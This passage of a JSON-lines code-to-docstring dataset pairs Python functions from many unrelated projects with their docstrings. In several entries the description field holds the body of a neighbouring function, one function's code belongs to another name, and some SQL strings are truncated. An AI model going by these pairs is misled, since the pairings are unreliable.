)\n\n range_start = period_start.replace(hour=23, minute=59) \\\n if data_frequency == 'minute' else period_start\n\n has_data = range_in_bundle(\n asset, range_start, period_end, reader\n )\n if not has_data:\n period = get_period_label(dt, data_frequency)\n chunk = dict(\n asset=asset,\n period=period,\n )\n chunks[asset].append(chunk)\n\n chunks[asset].sort(\n key=lambda chunk: pd.to_datetime(chunk['period'])\n )\n\n return chunks\n", "nl": "Split a price data request into chunks corresponding to individualbundles.Parameters----------assets: list[TradingPair]data_frequency: strstart_dt: pd.Timestampend_dt: pd.TimestampReturns-------dict[TradingPair, list[dict(str, Object]]]"} {"code": "def hcluster(features,distfcn=L2dist):\n\n distances = {}\n\n node = [ClusterLeafNode(array(f),id=i) for i,f in enumerate(features)]\n\n while len(node)>1:\n closest = float('Inf')\n\n for ni,nj in combinations(node,2):\n if (ni,nj) not in distances:\n distances[ni,nj] = distfcn(ni.vec,nj.vec)\n\n d = distances[ni,nj]\n if d
"} {"code": "def session_pop(self, name):\n path = path or ''\n if path.startswith('http://') or path.startswith('https://'):\n return path\n return TEST_URI + path\n", "nl": "Pop session value for given keyreturn self._session.pop(name, None)def build_absolute_uri(self, path=None):Build absolute URI with given (optional) path"} {"code": "def test_handle_transaction_digest(self):\n ledger_api_dialogue = cast(\n LedgerApiDialogue,\n self.prepare_skill_dialogue(\n dialogues=self.ledger_api_dialogues,\n messages=self.list_of_ledger_api_messages[:5],\n counterparty=LEDGER_API_ADDRESS,\n ),\n )\n fipa_dialogue = cast(\n FipaDialogue,\n self.prepare_skill_dialogue(\n dialogues=self.fipa_dialogues,\n messages=self.list_of_fipa_messages[:4],\n is_agent_to_agent_messages=True,\n ),\n )\n ledger_api_dialogue.associated_fipa_dialogue = fipa_dialogue\n fipa_dialogue.terms = self.terms\n incoming_message = cast(\n LedgerApiMessage,\n self.build_incoming_message_for_skill_dialogue(\n dialogue=ledger_api_dialogue,\n performative=LedgerApiMessage.Performative.TRANSACTION_RECEIPT,\n transaction_receipt=self.transaction_receipt,\n ),\n )\n\n with patch.object(\n self.ledger_api_handler.context.behaviours.transaction, \"finish_processing\"\n ):\n with patch.object(LedgerApis, \"is_transaction_settled\", return_value=True):\n with patch.object(self.logger, \"log\") as mock_logger:\n self.ledger_api_handler.handle(incoming_message)\n\n mock_logger.assert_any_call(\n logging.INFO,\n f\"transaction confirmed, informing counterparty={fipa_dialogue.dialogue_label.dialogue_opponent_addr[-5:]} of transaction digest.\",\n )\n\n self.assert_quantity_in_outbox(1)\n has_attributes, error_str = self.message_has_attributes(\n actual_message=self.get_message_from_outbox(),\n message_type=FipaMessage,\n performative=FipaMessage.Performative.INFORM,\n to=COUNTERPARTY_AGENT_ADDRESS,\n sender=self.skill.skill_context.agent_address,\n info={\"transaction_digest\": self.transaction_digest.body},\n )\n assert has_attributes, error_str\n", "nl": "Test the _handle_transaction_digest method of the ledger_api handler.# setupledger_api_dialogue = cast(LedgerApiDialogue,self.prepare_skill_dialogue(dialogues=self.ledger_api_dialogues,messages=self.list_of_ledger_api_messages[:3],counterparty=LEDGER_API_ADDRESS,),)incoming_message = cast(LedgerApiMessage,self.build_incoming_message_for_skill_dialogue(dialogue=ledger_api_dialogue,performative=LedgerApiMessage.Performative.TRANSACTION_DIGEST,transaction_digest=self.transaction_digest,),)# operationwith patch.object(self.logger, \"log\") as mock_logger:self.ledger_api_handler.handle(incoming_message)# aftermock_logger.assert_any_call(logging.INFO,f\"transaction was successfully submitted. Transaction digest={incoming_message.transaction_digest}\",)self.assert_quantity_in_outbox(1)has_attributes, error_str = self.message_has_attributes(actual_message=self.get_message_from_outbox(),message_type=LedgerApiMessage,performative=LedgerApiMessage.Performative.GET_TRANSACTION_RECEIPT,to=incoming_message.sender,sender=str(self.skill.skill_context.skill_id),transaction_digest=self.transaction_digest,)assert has_attributes, error_strmock_logger.assert_any_call(logging.INFO, \"checking transaction is settled.\",)def test_handle_transaction_receipt_i(self):Test the _handle_transaction_receipt method of the ledger_api handler."} {"code": "def combine_fold_prediction_files(foldsdir, file_format=\"csv\"):\n prediction_dfs = []\n\n for prediction_file in Path(foldsdir).glob(f\"**/*pred_processed*.{file_format}\"):\n df_fold_predictions = DataReader.read_from_file(prediction_file, converters={'spkitemid': str})\n prediction_dfs.append(df_fold_predictions)\n\n df_all_predictions = concat(prediction_dfs, keys=\"spkitemid\").reset_index(drop=True)\n\n return df_all_predictions", "nl": "Combine predictions from all folds into a single data frame.Parameters----------foldsdir : strThe directory which stores the output for each fold experiment.file_format : strThe file format (extension) for the file to be written to disk.One of {\"csv\", \"xlsx\", \"tsv\"}.Defaults to \"csv\".Returns-------df_all_predictions : pandas DataFrameData frame containing the combined predictions for all folds."} {"code": "def makeXMLTags(tagStr):\n return _makeTags( tagStr, True )\n", "nl": "Helper to construct opening and closing tag expressions for XML,given a tag name. Matches tags only in the given upper/lower case.Example: similar to :class:`makeHTMLTags`"} {"code": "def settings_form_fields(self) -> dict:\n return OrderedDict([\n ('_enabled',\n forms.BooleanField(\n label=_('Enable ticket format'),\n required=False,\n )),\n ])\n", "nl": "When the event's administrator visits the event configurationpage, this method is called to return the configuration fields available.It should therefore return a dictionary where the keys should be (unprefixed)settings keys and the values should be corresponding Django form fields.The default implementation returns the appropriate fields for the ``_enabled``setting mentioned above.We suggest that you return an ``OrderedDict`` object instead of a dictionaryand make use of the default implementation. Your implementation could looklike this::@propertydef settings_form_fields(self):return OrderedDict(list(super().settings_form_fields.items()) + [('paper_size',forms.CharField(label=_('Paper size'),required=False))]).. WARNING:: It is highly discouraged to alter the ``_enabled`` field of the defaultimplementation."} {"code": "def submitAnnotations(self, project, username, submissions):\n projImmutables = self.get_project_immutables(project)\n if projImmutables['demoMode']:\n return 1\n\n colnames = getattr(QueryStrings_annotation, projImmutables['annotationType']).value\n values_insert = []\n values_update = []\n\n meta = (None if not 'meta' in submissions else json.dumps(submissions['meta']))\n\n ids = []\n\n viewcountValues = []\n for imageKey in submissions['entries']:\n entry = submissions['entries'][imageKey]\n\n try:\n lastChecked = entry['timeCreated']\n lastTimeRequired = entry['timeRequired']\n if lastTimeRequired is None: lastTimeRequired = 0\n except:\n lastChecked = datetime.now(tz=pytz.utc)\n lastTimeRequired = 0\n\n try:\n numInteractions = int(entry['numInteractions'])\n except:\n numInteractions = 0\n\n if 'annotations' in entry and len(entry['annotations']):\n for annotation in entry['annotations']:\n annotationTokens = self.annoParser.parseAnnotation(annotation)\n annoValues = []\n for cname in colnames:\n if cname == 'id':\n if cname in annotationTokens:\n annoValues.append(UUID(annotationTokens[cname]))\n ids.append(UUID(annotationTokens[cname]))\n elif cname == 'image':\n annoValues.append(UUID(imageKey))\n elif cname == 'label' and annotationTokens[cname] is not None:\n annoValues.append(UUID(annotationTokens[cname]))\n elif cname == 'timeCreated':\n try:\n annoValues.append(dateutil.parser.parse(annotationTokens[cname]))\n except:\n annoValues.append(datetime.now(tz=pytz.utc))\n elif cname == 'timeRequired':\n timeReq = annotationTokens[cname]\n if timeReq is None: timeReq = 0\n annoValues.append(timeReq)\n elif cname == 'username':\n annoValues.append(username)\n elif cname in annotationTokens:\n annoValues.append(annotationTokens[cname])\n elif cname == 'unsure':\n if 'unsure' in annotationTokens and annotationTokens['unsure'] is not None:\n annoValues.append(annotationTokens[cname])\n else:\n annoValues.append(False)\n elif cname == 'meta':\n annoValues.append(meta)\n else:\n annoValues.append(None)\n if 'id' in annotationTokens:\n values_update.append(tuple(annoValues))\n else:\n values_insert.append(tuple(annoValues))\n\n viewcountValues.append((username, imageKey, 1, lastChecked, lastChecked, lastTimeRequired, lastTimeRequired, numInteractions, meta))\n\n\n imageKeys = list(UUID(k) for k in submissions['entries'])\n if len(imageKeys):\n if len(ids):\n queryStr = sql.SQL('''\n id_anno=sql.Identifier(project, 'annotation'))\n self.dbConnector.execute(queryStr, (username, tuple(ids), tuple(imageKeys),))\n else:\n queryStr = sql.SQL('''\n id_anno=sql.Identifier(project, 'annotation'))\n self.dbConnector.execute(queryStr, (username, tuple(imageKeys),))\n\n if len(values_insert):\n queryStr = sql.SQL('''\n id_anno=sql.Identifier(project, 'annotation'),\n cols=sql.SQL(', ').join([sql.SQL(c) for c in colnames[1:]])\n )\n self.dbConnector.insert(queryStr, values_insert)\n\n if len(values_update):\n\n updateCols = []\n for col in colnames:\n if col == 'label':\n updateCols.append(sql.SQL('label = UUID(e.label)'))\n elif col == 'timeRequired':\n updateCols.append(sql.SQL('timeRequired = COALESCE(a.timeRequired,0) + COALESCE(e.timeRequired,0)'))\n else:\n updateCols.append(sql.SQL('{col} = e.{col}').format(col=sql.SQL(col)))\n\n queryStr = sql.SQL('''\n id_anno=sql.Identifier(project, 'annotation'),\n updateCols=sql.SQL(', ').join(updateCols),\n colnames=sql.SQL(', ').join([sql.SQL(c) for c in colnames])\n )\n\n self.dbConnector.insert(queryStr, values_update)\n\n\n queryStr = sql.SQL('''\n id_iu=sql.Identifier(project, 'image_user')\n )\n self.dbConnector.insert(queryStr, viewcountValues)\n\n return 0\n\n", "nl": "Sends user-provided annotations to the database."} {"code": "def test_missing_keys_percentile(self):\n from natcap.invest import crop_production_regression\n from natcap.invest import validation\n\n validation_errors = crop_production_regression.validate({})\n invalid_keys = validation.get_invalid_keys(validation_errors)\n expected_missing_keys = set(\n self.base_required_keys +\n ['fertilization_rate_table_path'])\n self.assertEqual(invalid_keys, expected_missing_keys)", "nl": "Crop Percentile Validate: assert missing required keys.from natcap.invest import crop_production_percentilefrom natcap.invest import validation# empty args dict.validation_errors = crop_production_percentile.validate({})invalid_keys = validation.get_invalid_keys(validation_errors)expected_missing_keys = set(self.base_required_keys)self.assertEqual(invalid_keys, expected_missing_keys)def test_missing_keys_regression(self):Crop Regression Validate: assert missing required keys."} {"code": "def _compute_softmax(scores):\n Write final predictions to the json file and log-odds of null if needed.\n Requires utils_squad_evaluate.py\n \"\"\"", "nl": "Compute softmax probability over raw logits.if not scores:return []max_score = Nonefor score in scores:if max_score is None or score > max_score:max_score = scoreexp_scores = []total_sum = 0.0for score in scores:x = math.exp(score - max_score)exp_scores.append(x)total_sum += xprobs = []for score in exp_scores:probs.append(score / total_sum)return probsdef get_best_predictions(all_examples,all_features,all_results,n_best_size,max_answer_length,do_lower_case,verbose_logging,version_2_with_negative,null_score_diff_threshold,):example_index_to_features = collections.defaultdict(list)for feature in all_features:example_index_to_features[feature.example_index].append(feature)unique_id_to_result = {}for result in all_results:unique_id_to_result[result.unique_id] = result_PrelimPrediction = collections.namedtuple( # pylint: disable=invalid-name\"PrelimPrediction\",[\"feature_index\", \"start_index\", \"end_index\", \"start_logit\", \"end_logit\"],)all_predictions = collections.OrderedDict()all_nbest_json = collections.OrderedDict()scores_diff_json = collections.OrderedDict()for (example_index, example) in enumerate(all_examples):features = example_index_to_features[example_index]prelim_predictions = []# keep track of the minimum score of null start+end of position 0score_null = 1000000 # large and positivemin_null_feature_index = 0 # the paragraph slice with min null scorenull_start_logit = 0 # the start logit at the slice with min null scorenull_end_logit = 0 # the end logit at the slice with min null scorefor (feature_index, feature) in enumerate(features):result = unique_id_to_result[feature.unique_id]start_indexes = _get_best_indexes(result.start_logits, n_best_size)end_indexes = _get_best_indexes(result.end_logits, n_best_size)# if we could have irrelevant answers, get the min score of irrelevantif version_2_with_negative:feature_null_score = result.start_logits[0] + result.end_logits[0]if feature_null_score < score_null:score_null = feature_null_scoremin_null_feature_index = feature_indexnull_start_logit = result.start_logits[0]null_end_logit = result.end_logits[0]for start_index in start_indexes:for end_index in end_indexes:# We could hypothetically create invalid predictions, e.g., predict# that the start of the span is in the question. We throw out all# invalid predictions.if start_index >= len(feature.tokens):continueif end_index >= len(feature.tokens):continueif start_index not in feature.token_to_orig_map:continueif end_index not in feature.token_to_orig_map:continueif not feature.token_is_max_context.get(start_index, False):continueif end_index < start_index:continuelength = end_index - start_index + 1if length > max_answer_length:continueprelim_predictions.append(_PrelimPrediction(feature_index=feature_index,start_index=start_index,end_index=end_index,start_logit=result.start_logits[start_index],end_logit=result.end_logits[end_index],))if version_2_with_negative:prelim_predictions.append(_PrelimPrediction(feature_index=min_null_feature_index,start_index=0,end_index=0,start_logit=null_start_logit,end_logit=null_end_logit,))prelim_predictions = sorted(prelim_predictions,key=lambda x: (x.start_logit + x.end_logit),reverse=True,)_NbestPrediction = collections.namedtuple( # pylint: disable=invalid-name\"NbestPrediction\", [\"text\", \"start_logit\", \"end_logit\"])seen_predictions = {}nbest = []for pred in prelim_predictions:if len(nbest) >= n_best_size:breakif pred.start_index > 0: # this is a non-null predictionfeature = features[pred.feature_index]tok_tokens = feature.tokens[pred.start_index : (pred.end_index + 1)]orig_doc_start = feature.token_to_orig_map[pred.start_index]orig_doc_end = feature.token_to_orig_map[pred.end_index]orig_tokens = example.doc_tokens[orig_doc_start : (orig_doc_end + 1)]tok_text = \" \".join(tok_tokens)# De-tokenize WordPieces that have been split off.tok_text = tok_text.replace(\" ##\", \"\")tok_text = tok_text.replace(\"##\", \"\")# Clean whitespacetok_text = tok_text.strip()tok_text = \" \".join(tok_text.split())orig_text = \" \".join(orig_tokens)final_text = get_final_text(tok_text, orig_text, do_lower_case, verbose_logging)if final_text in seen_predictions:continueseen_predictions[final_text] = Trueelse:final_text = \"\"seen_predictions[final_text] = Truenbest.append(_NbestPrediction(text=final_text,start_logit=pred.start_logit,end_logit=pred.end_logit,))# if we didn't include the empty option in the n-best, include itif version_2_with_negative:if \"\" not in seen_predictions:nbest.append(_NbestPrediction(text=\"\", start_logit=null_start_logit, end_logit=null_end_logit))# In very rare edge cases we could only have single null prediction.# So we just create a nonce prediction in this case to avoid failure.if len(nbest) == 1:nbest.insert(0, _NbestPrediction(text=\"empty\", start_logit=0.0, end_logit=0.0))# In very rare edge cases we could have no valid predictions. So we# just create a nonce prediction in this case to avoid failure.if not nbest:nbest.append(_NbestPrediction(text=\"empty\", start_logit=0.0, end_logit=0.0))assert len(nbest) >= 1total_scores = []best_non_null_entry = Nonefor entry in nbest:total_scores.append(entry.start_logit + entry.end_logit)if not best_non_null_entry:if entry.text:best_non_null_entry = entryprobs = _compute_softmax(total_scores)nbest_json = []for (i, entry) in enumerate(nbest):output = collections.OrderedDict()output[\"text\"] = entry.textoutput[\"probability\"] = probs[i]output[\"start_logit\"] = entry.start_logitoutput[\"end_logit\"] = entry.end_logitnbest_json.append(output)assert len(nbest_json) >= 1if not version_2_with_negative:all_predictions[example.guid] = nbest_json[0][\"text\"]else:# predict \"\" iff the null score - the score of best non-null > thresholdscore_diff = (score_null- best_non_null_entry.start_logit- (best_non_null_entry.end_logit))scores_diff_json[example.guid] = score_diffif score_diff > null_score_diff_threshold:all_predictions[example.guid] = \"\"else:all_predictions[example.guid] = best_non_null_entry.textall_nbest_json[example.guid] = nbest_jsonall_best = [{\"id\": id,\"answer\": [answer[\"text\"] for answer in answers],\"probability\": [answer[\"probability\"] for answer in answers],}for id, answers in all_nbest_json.items()]return all_bestdef get_best_predictions_extended(all_examples,all_features,all_results,n_best_size,max_answer_length,start_n_top,end_n_top,version_2_with_negative,tokenizer,verbose_logging,):XLNet write prediction logic (more complex than Bert's)."} {"code": "def remove_channel(self, channel: TextChannel) -> None:\n if self._current_loop and not self._current_loop/60 % 15:\n log.debug(\n f\"Sending notice with channels: \"\n f\"{', '.join(f'\n )\n channels_text = ', '.join(\n f\"{channel.mention} for {(self._current_loop-start)//60} min\"\n for channel, start in self._silenced_channels.items()\n )\n await self._alert_channel.send(\n f\"<@&{constants.Roles.moderators}> currently silenced channels: {channels_text}\"\n )\n\n", "nl": "Remove channel from `_silenced_channels` and stop loop if no channels remain.with suppress(KeyError):del self._silenced_channels[channel]if not self._silenced_channels:self.stop()log.info(\"Stopping notifier loop.\")async def _notifier(self) -> None:Post notice of `_silenced_channels` with their silenced duration to `_alert_channel` periodically."} {"code": "def remove_new_partitions(disks, remove, all_partitions):\n log.debug(\"removing all non-preexisting partitions %s from disk(s) %s\",\n [\"%s(id %d)\" % (p.name, p.id) for p in remove],\n [d.name for d in disks])\n\n removed_logical = []\n for part in remove:\n if part.parted_partition and part.disk in disks:\n if part.exists:\n continue\n\n if part.is_extended:\n continue\n\n if part.is_logical:\n removed_logical.append(part)\n part.disk.format.parted_disk.removePartition(part.parted_partition)\n part.parted_partition = None\n part.disk = None\n", "nl": " Remove newly added partitions from disks.Remove all non-existent partitions from the disks in blivet's model.:param: disks: list of partitioned disks:type disks: list of :class:`~.devices.StorageDevice`:param remove: list of partitions to remove:type remove: list of :class:`~.devices.PartitionDevice`:param all_partitions: list of all partitions on the disks:type all_partitions: list of :class:`~.devices.PartitionDevice`:returns: None:rtype: NoneType"} {"code": "def at_start(self):", "nl": "Handles the 'phases' of deathsuper(CharDeathHandler, self).at_start()self.obj.msg(\"You have died.\")self.obj.location.msg_contents(\"{character} falls dead.\",mapping={'character': self.obj},exclude=self.obj)self.obj.db.pose = self.obj.db.pose_deathself.obj.traits.XP.base = int(floor(0.1 * self.obj.traits.XP.actual))delay(20, getattr(self, self.db.death_sequence[self.db.death_step]))def floating(self):self.obj.msg(\"Your awareness blinks back into existence briefly. You float in the aethers.\")# remove the bodyself.obj.location.msg_contents(\"The body of {character} rots away to dust.\",mapping={'character': self.obj},exclude=self.obj)limbo = self.obj.search('Limbo', global_search=True)self.obj.move_to(limbo, quiet=True, move_hooks=False)self.db.death_step += 1delay(8, getattr(self, self.db.death_sequence[self.db.death_step]))def returning(self):self.obj.msg(\"You feel a quickening in your energy as you feel pulled back toward |mAinneve|n.\")self.obj.home.msg_contents(\"A sudden roar fills the chamber as the fire grows tall and the surface |/\"\"of the purple pool becomes agitated, spattering droplets into the air |/\"\"surrounding the flame.\")self.db.death_step += 1delay(3, getattr(self, self.db.death_sequence[self.db.death_step]))def pre_revive(self):self.obj.msg(\"A blinding light flashes before you and you feel your body lurch forward onto |/\"\"a smooth stone floor. Your ears ring from the deafening sound of your return.\")self.obj.home.msg_contents(\"More and more purple droplets arise in a column around the flame which roars|/\"\"ever brighter. Without warning, the column erupts in a blinding flash of light.|/\"\"When your sight returns, the figure of {character} stands at the center of the|/\"\"shrine looking confused.\",mapping=dict(character=self.obj),exclude=self.obj)self.db.death_step += 1delay(3, getattr(self, self.db.death_sequence[self.db.death_step]))def revive(self):# revive the dead characterself.obj.traits.HP.fill_gauge()self.obj.traits.SP.fill_gauge()self.obj.db.pose = self.obj.db.pose_defaultself.obj.move_to(self.obj.home, quiet=True)self.stop()class NPCDeathHandler(DeathHandler):Script that handles death mechanics for NPCs."} {"code": "def quaternion2YawDegree(orientation):\n yawRad = math.atan2(2*(orientation.x*orientation.y+orientation.z*orientation.w),1-2*(pow(orientation.y,2)+pow(orientation.z,2)))\n return yawRad*180/math.pi\n\n", "nl": "Get yaw angle [degree] from quaternion representation@param orientation:\torientation in quaternions to read from@type orientation:\tgeometry_msgs/Quaternion@return: yaw angle [degree]@rtype: float"} {"code": "def mtime():\n return make_brick_mock()\n\n\n@pytest.fixture", "nl": "Mock time.time() and time.sleep().current_time = 0def timef():nonlocal current_timereturn current_timedef sleepf(delay):nonlocal current_timecurrent_time += delaymtime = Mock(spec_set=(\"time\", \"sleep\"))mtime.time.side_effect = timefmtime.sleep.side_effect = sleepfwith patch(\"nxt.brick.time\", new=mtime), patch(\"nxt.motcont.time\", new=mtime), patch(\"nxt.motor.time\", new=mtime), patch(\"nxt.sensor.digital.time\", new=mtime):yield mtimedef make_brick_mock():b = Mock()def find_files(pattern):return nxt.brick.Brick.find_files(b, pattern)def find_modules(pattern):return nxt.brick.Brick.find_modules(b, pattern)def open_file(*args, **kwargs):return nxt.brick.Brick.open_file(b, *args, **kwargs)def get_sensor(*args, **kwargs):return nxt.brick.Brick.get_sensor(b, *args, **kwargs)def get_motor(*args, **kwargs):return nxt.brick.Brick.get_motor(b, *args, **kwargs)b._sock.bsize = 60b._sock.type = \"usb\"b.find_files = find_filesb.find_modules = find_modulesb.open_file = open_fileb.get_sensor = get_sensorb.get_motor = get_motorreturn b@pytest.fixturedef mbrick(mtime):A brick with mocked low level functions."} {"code": "def childAtPath(self, path):\n result = None\n node = self\n for name in [p for p in path.split('/') if len(p) > 0]:\n ns = None\n prefix, name = splitPrefix(name)\n if prefix is not None:\n ns = node.resolvePrefix(prefix)\n result = node.getChild(name, ns)\n if result is None:\n break;\n else:\n node = result\n return result\n", "nl": "Get a child at I{path} where I{path} is a (/) separatedlist of element names that are expected to be children.@param path: A (/) separated list of element names.@type path: basestring@return: The leaf node at the end of I{path}@rtype: L{Element}"} {"code": "def blend(image1: tf.Tensor, image2: tf.Tensor, factor: float) -> tf.Tensor:\n if factor == 0.0:\n return tf.convert_to_tensor(image1)\n if factor == 1.0:\n return tf.convert_to_tensor(image2)\n\n image1 = tf.cast(image1, tf.float32)\n image2 = tf.cast(image2, tf.float32)\n\n difference = image2 - image1\n scaled = factor * difference\n\n temp = tf.cast(image1, tf.float32) + scaled\n\n if factor > 0.0 and factor < 1.0:\n return tf.cast(temp, tf.uint8)\n\n return tf.cast(tf.clip_by_value(temp, 0.0, 255.0), tf.uint8)\n\n", "nl": "Blend image1 and image2 using 'factor'.Factor can be above 0.0. A value of 0.0 means only image1 is used.A value of 1.0 means only image2 is used. A value between 0.0 and1.0 means we linearly interpolate the pixel values between the twoimages. A value greater than 1.0 \"extrapolates\" the differencebetween the two pixel values, and we clip the results to valuesbetween 0 and 255.Args:image1: An image Tensor of type uint8.image2: An image Tensor of type uint8.factor: A floating point value above 0.0.Returns:A blended image Tensor of type uint8."} {"code": "def _c3_merge(sequences):\n result = []\n while True:\n sequences = [s for s in sequences if s]\n if not sequences:\n return result\n for s1 in sequences:\n candidate = s1[0]\n for s2 in sequences:\n if candidate in s2[1:]:\n candidate = None\n break\n else:\n break\n if candidate is None:\n raise RuntimeError(\"Inconsistent hierarchy\")\n result.append(candidate)\n for seq in sequences:\n if seq[0] == candidate:\n del seq[0]\n", "nl": "Merges MROs in *sequences* to a single MRO using the C3 algorithm.Adapted from http://www.python.org/download/releases/2.3/mro/."} {"code": "def get_size(self) -> Union[str, int]:\n The Cache-Control HTTP header holds directives (instructions) for caching in\n both requests and responses. A given directive in a request does not mean the\n same directive should be in the response.\n \"\"\"", "nl": "Get the total size of the document (or '*' if unknown).size: str = self.unpack()[3]return int(size) if size.isdigit() else sizeclass CacheControl(CustomHeader):"} {"code": "def _rai_module(self):\n module = [\"--loadmodule\", CONFIG.redisai]\n if self.queue_threads:\n module.append(f\"THREADS_PER_QUEUE {self.queue_threads}\")\n if self.inter_threads:\n module.append(f\"INTER_OP_PARALLELISM {self.inter_threads}\")\n if self.intra_threads:\n module.append(f\"INTRA_OP_PARALLELISM {self.intra_threads}\")\n return \" \".join(module)\n\n @property", "nl": "Get the RedisAI module from third-party installations:return: path to module or \"\" if not found:rtype: str"} {"code": "def parse(self, source, name=None, filename=None):\n try:\n return self._parse(source, name, filename)\n except TemplateSyntaxError:\n self.handle_exception(source=source)\n", "nl": "Parse the sourcecode and return the abstract syntax tree. Thistree of nodes is used by the compiler to convert the template intoexecutable source- or bytecode. This is useful for debugging or toextract information from templates.If you are :ref:`developing Jinja extensions `this gives you a good overview of the node tree generated."} {"code": "def add_n_projected(tt_objects, coef=None):\n for tt in tt_objects:\n if not hasattr(tt, 'projection_on'):\n raise ValueError('Both arguments should be projections on the tangent '\n 'space of some other TT-object. All projection* functions '\n 'leave .projection_on field in the resulting TT-object '\n 'which is not present in the argument you\\'ve provided.')\n\n projection_on = tt_objects[0].projection_on\n for tt in tt_objects[1:]:\n if tt.projection_on != projection_on:\n raise ValueError('All tt_objects should be projections on the tangent '\n 'space of the same TT-object. The provided arguments are '\n 'projections on different TT-objects (%s and %s). Or at '\n 'least the pointers are different.' % (tt.projection_on,\n projection_on))\n if coef is not None:\n coef = tf.convert_to_tensor(coef, dtype=tt_objects[0].dtype)\n if coef.get_shape().ndims > 1:\n some_core = tt_objects[0].tt_cores[0]\n dim_array = [1] * (some_core.get_shape().ndims + 1)\n dim_array[0] = coef.get_shape().as_list()[0]\n dim_array[1] = coef.get_shape().as_list()[1]\n coef = tf.reshape(coef, dim_array)\n\n ndims = tt_objects[0].ndims()\n tt_ranks = shapes.lazy_tt_ranks(tt_objects[0])\n left_rank_dim = tt_objects[0].left_tt_rank_dim\n right_rank_dim = tt_objects[0].right_tt_rank_dim\n res_cores = []\n", "nl": "Adds all input TT-objects that are projections on the same tangent space.add_projected((a, b)) is equivalent add(a, b) for a and b that are from thesame tangent space, but doesn't increase the TT-ranks.Args:tt_objects: a list of TT-objects that are projections on the same tangentspace.coef: a list of numbers or anything else convertable to tf.Tensor.If provided, computes weighted sum. The size of this array should belen(tt_objects) x tt_objects[0].batch_sizeReturns:TT-objects representing the sum of the tt_objects (weighted sum if coef isprovided). The TT-rank of the result equals to the TT-ranks of the arguments."} {"code": "def _compute_gamma(self, qubits: Optional[List[int]] = None) -> float:\n", "nl": "Compute gamma for N-qubit mitigation.def assignment_fidelity(self, qubits: Optional[List[int]] = None) -> float:rReturn the measurement assignment fidelity on the specified qubits."} {"code": "def recvfrom(self, num_bytes, flags=None):\n try:\n if not self.sock_impl:\n self.sock_impl = _datagram_socket_impl()\n self._config()\n return self.sock_impl.recvfrom(num_bytes, flags)\n except java.lang.Exception, jlx:\n raise _map_exception(jlx)\n", "nl": "There is some disagreement as to what the behaviour should be ifa recvfrom operation is requested on an unbound socket.See the following links for more informationhttp://bugs.jython.org/issue1005http://bugs.sun.com/view_bug.do?bug_id=6621689"} {"code": "def irc_ERR_PASSWDMISMATCH(self, prefix, params):\n raise IRCPasswordMismatch(\"Password Incorrect.\")\n\n", "nl": "Called when the login was incorrect."} {"code": "def __init__(self, parser: Any = None):\n", "nl": "__init__ must have `parser` parameter for markdown-it-pycompatibility."} {"code": "def _concat_same_dtype(self, to_concat, name):\n to_concat = [self._is_dtype_compat(c) for c in to_concat]\n codes = np.concatenate([c.codes for c in to_concat])\n result = self._create_from_codes(codes, name=name)\n result.name = name\n return result\n", "nl": "Concatenate to_concat which has the same classValueError if other is not in the categories"} {"code": "def setup_function(function):\n print('\\n\\nSETUP ==> ')\n\n", "nl": " executed before each method call"} {"code": "def liveness(request):\n return HttpResponse(status=204)\n\n\n@never_cache\n@require_safe", "nl": "A successful response from this endpoint simply provesthat Django is up and running. It doesn't mean that itssupporting services (like PostgreSQL) can be successfullyused from within this service."} {"code": "def remove_invalid_idx(self, image_idx_list):\n :param xyz: [x, y, z]\n :return:\n \"\"\"", "nl": "Discard samples which don't have current training class objects, which will not be used for training.sample_id_list = []for sample_id in image_idx_list:sample_id = int(sample_id)objects = self.get_label(sample_id)calib = self.get_calib(sample_id)labels, noObjectLabels = kitti_bev_utils.read_labels_for_bevbox(objects)if not noObjectLabels:labels[:, 1:] = transformation.camera_to_lidar_box(labels[:, 1:], calib.V2C, calib.R0,calib.P) # convert rect cam to velo cordvalid_list = []for i in range(labels.shape[0]):if int(labels[i, 0]) in cnf.CLASS_NAME_TO_ID.values():if self.check_point_cloud_range(labels[i, 1:4]):valid_list.append(labels[i, 0])if len(valid_list) > 0:sample_id_list.append(sample_id)return sample_id_listdef check_point_cloud_range(self, xyz):"} {"code": "def get_user_sticker(request, comment_id):\n comment = get_object_or_404(models.Comment, pk=comment_id)\n sticker = bool(comment.get_user_sticker(request.user))\n return {\n \"sticker\": sticker,\n }\n\n@api('moderate')\n@require_user", "nl": "Returns whether or not a user has stickered a post."} {"code": "def _reconfigurePort(self):\n if self._socket is None:\n raise SerialException(\"Can only operate on open ports\")\n if self.logger:\n self.logger.info('ignored port configuration change')\n", "nl": "Set communication parameters on opened port. for the socket://protocol all settings are ignored!"} {"code": "def _max_zoom(self):\n if not self._maxz:\n cursor = connection.cursor()\n cursor.execute(MAX_ZOOM_SQL.format(rasterlayer_id=self.id))\n self._maxz = cursor.fetchone()[0]\n return self._maxz\n", "nl": "Get max zoom for this layer."} {"code": "def place_configure(self, cnf={}, **kw):\n self.tk.call(\n ('place', 'configure', self._w)\n + self._options(cnf, kw))\n place = configure = config = place_configure", "nl": "Place a widget in the parent widget. Use as options:in=master - master relative to which the widget is placedin_=master - see 'in' option descriptionx=amount - locate anchor of this widget at position x of mastery=amount - locate anchor of this widget at position y of masterrelx=amount - locate anchor of this widget between 0.0 and 1.0relative to width of master (1.0 is right edge)rely=amount - locate anchor of this widget between 0.0 and 1.0relative to height of master (1.0 is bottom edge)anchor=NSEW (or subset) - position anchor according to given directionwidth=amount - width of this widget in pixelheight=amount - height of this widget in pixelrelwidth=amount - width of this widget between 0.0 and 1.0relative to width of master (1.0 is the same widthas the master)relheight=amount - height of this widget between 0.0 and 1.0relative to height of master (1.0 is the sameheight as the master)bordermode=\"inside\" or \"outside\" - whether to take border width ofmaster widget into account"} {"code": "def encrypt(self, x: Union[list, np.ndarray, torch.Tensor], alpha: int = 1) -> OneTimePadCiphertext:\n self.__noise, self.__ori_dtype, self.__ori_torch, self.__ori_shape = self.__get_hierarchical_noise(x)\n result = self._encrypt(x, self.__noise, alpha)\n result = OneTimePadCiphertext(result, self.__ori_dtype, self.__ori_torch)\n return result\n", "nl": "Add noise to data, using one time pad.Args:x: list, numpy.ndarray or torch.Tensor, with dtype float32, int32, int64, uint32 or uint64.alpha: int, 1 by default.Return:OneTimePadCiphertext, result = x + alpha*noise."} {"code": "def scroll(delta = 1):\n _get_controller().scroll(delta)\n", "nl": "Scroll the offsetScroll pHAT displays an 11 column wide window into the buffer,which starts at the left offset.:param delta: Amount to scroll (default 1)"} {"code": "def forward(self, patches, height, width):\n k = 8\n batch_size = patches.shape[0]\n image_reshaped = patches.view(batch_size, height // k, width // k, k, k)\n image_transposed = image_reshaped.permute(0, 1, 3, 2, 4)\n return 